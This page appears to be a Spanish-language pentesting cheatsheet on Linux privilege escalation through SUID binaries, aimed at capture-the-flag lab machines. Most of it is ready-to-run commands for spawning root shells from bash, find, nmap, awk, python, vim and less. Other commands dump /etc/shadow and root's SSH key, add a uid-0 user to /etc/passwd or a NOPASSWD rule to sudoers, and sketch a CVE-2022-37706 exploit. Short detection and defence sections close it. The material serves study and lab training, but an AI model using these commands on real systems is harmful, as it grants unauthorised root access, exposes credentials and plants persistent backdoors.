Abusing SUID binaries
Arsenal completo de comandos en la cheatsheetEn Linux, el bit SUID (Set User ID, permiso s en la columna del propietario, p. ej. -rwsr-xr-x) hace que un ejecutable corra con los privilegios de su dueño, no con los de quien lo lanza. Su uso legítimo es dar a un usuario normal una tarea acotada que necesita privilegios (el caso clásico es passwd, propiedad de root, que debe escribir en /etc/shadow). El problema es que un binario SUID de root que haga más de lo que debería (ejecutar otros programas, leer o escribir ficheros arbitrarios, interpretar comandos) se convierte en una vía de escalada: el atacante hereda root a través de él.
Enumeración
Buscar ficheros con el bit SUID (y su primo SGID) en todo el sistema:
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -6000 -type f 2>/dev/null # SUID + SGID
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/nullComparar la lista contra la de un sistema limpio: lo que sobra (nmap, vim, find, python, un binario en /opt) es el candidato. linpeas la resalta en amarillo/rojo.
La regla de oro: cada línea de abajo es una invocación distinta según qué binario tenga el bit. El -p es clave: sin él, bash/sh descartan el UID efectivo elevado al arrancar (privilege drop); con -p conservan el euid=0. GTFOBins cataloga la invocación exacta de cientos de binarios; abajo van las familias por caso.
Spawn directo de shell root
Binarios que ejecutan otros programas o interpretan comandos. Si el SUID es de esta lista, es shell inmediata. Elegir la línea del binario que tengamos:
bash -p
env /bin/sh -p
find . -exec /bin/sh -p \; -quit
nmap --interactive # y dentro: !sh (nmap antiguo)
echo 'os.execute("/bin/sh")' > /tmp/x.nse; nmap --script=/tmp/x.nse # nmap moderno
awk 'BEGIN {system("/bin/sh -p")}'
gawk 'BEGIN {system("/bin/sh -p")}'
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh -p";'
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
ruby -e 'Process::Sys.setuid(0); exec "/bin/sh -p"'
node -e 'process.setuid(0); require("child_process").spawn("/bin/sh",["-p"],{stdio:[0,1,2]})'
lua -e 'os.execute("/bin/sh -p")'Los editores/paginadores tienen su propio escape a shell (útil cuando el SUID es vim, less o man):
vim.basic -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
less /etc/profile # y dentro: !/bin/sh -p
man man # y dentro: !/bin/sh -pLectura de ficheros arbitrarios como root
Cuando el SUID solo lee (no da shell), sirve para volcar /etc/shadow y crackear el hash, o leer la clave SSH de root. Un binario por línea:
cat /etc/shadow
base64 /etc/shadow | base64 -d
xxd /etc/shadow | xxd -r
od -An -c /etc/shadow
cut -d: -f1 /root/.ssh/id_rsa # cut leyendo la clave
tail -c1G /etc/shadow # tail volcando entero
sed '' /etc/shadow # sed sin script = catEscritura de ficheros arbitrarios como root
Cuando el SUID escribe, el camino más limpio es añadirnos a /etc/passwd con contraseña propia (evita tocar /etc/shadow). El hash $1$... se genera con openssl:
openssl passwd -1 -salt hax pass123 # -> $1$hax$.... copia el hash
echo 'hax:$1$hax$ROUNDS...:0:0:root:/root:/bin/bash' | tee -a /etc/passwd # tee SUID
printf 'hax:$1$hax$...:0:0::/root:/bin/bash\n' | dd of=/etc/passwd oflag=append conv=notrunc # dd SUID
cp /etc/passwd /tmp/p; echo 'hax:...:0:0::/root:/bin/bash' >> /tmp/p; cp /tmp/p /etc/passwd # cp SUIDLuego su hax (contraseña pass123) da root. Alternativa: escribir una regla en /etc/sudoers (echo 'user ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers) o dejar un bash con SUID.
Binarios de terceros vulnerables (CVE)
Software instalado que trae su propio SUID con fallos. No se abusa de una función, se explota un bug. Ejemplo: Enlightenment 0.23.1 / CVE-2022-37706, donde enlightenment_sys no saneaba una ruta de montaje y un nombre de directorio manipulado ejecutaba código como root:
enlightenment_sys /bin/ -c "/tmp/exploit ; /bin/sh" # (esquema; ver PoC del CVE por versión)Determinar la versión exacta del binario y buscar el CVE, igual que con cualquier servicio.
Sub-vectores relacionados cuando el SUID carga código externo: secuestro del PATH (llama a un binario sin ruta absoluta), inyección de librería compartida (hace dlopen de una ruta escribible) y secuestro de LD_LIBRARY_PATH.
Cómo detectarlo. El descubrimiento deja rastro de un find / -perm -4000 masivo (auditd). El abuso tiene una firma clara: un binario SUID lanzando sh -p/bash -p como hijo, o una llamada setuid(0) seguida de shell desde un proceso que no es de administración (auditd sobre execve/setuid, Sysmon for Linux). En reposo, un binario SUID nuevo en /tmp, /dev/shm o el home de un usuario (típico rootbash copiado de /bin/bash con chmod +s) es un indicador directo de post-explotación.
Defensa. Mantener la lista de binarios SUID al mínimo (auditarla periódicamente), quitar el bit a lo que no lo necesite (chmod u-s), preferir capabilities finas en vez de SUID completo, montar particiones de datos con nosuid, y actualizar el software de terceros que instale binarios privilegiados. Relacionado con la manipulación de permisos en Linux y con la reutilización de credenciales como pasos previos típicos.
Máquinas donde se aplica
- AstronautProving Grounds Practice
- BackdoorHackTheBox
- BBSecuteProving Grounds Play
- BoardLightHackTheBox
- CelestialHackTheBox
- ChocolateLoversDockerLabs
- ConsolelogDockerLabs
- DC-1VulnHub
- HunitProving Grounds Practice
- LaboratoryHackTheBox
- MzeeavProving Grounds Practice
- NibblesProving Grounds Practice
- PCProving Grounds Practice
- PeppoProving Grounds Practice
- PsychoDockerLabs
- QuackerJackProving Grounds Practice
- SorcererProving Grounds Practice
- SybarisProving Grounds Practice
- WallaProving Grounds Practice
- XposedAPIProving Grounds Practice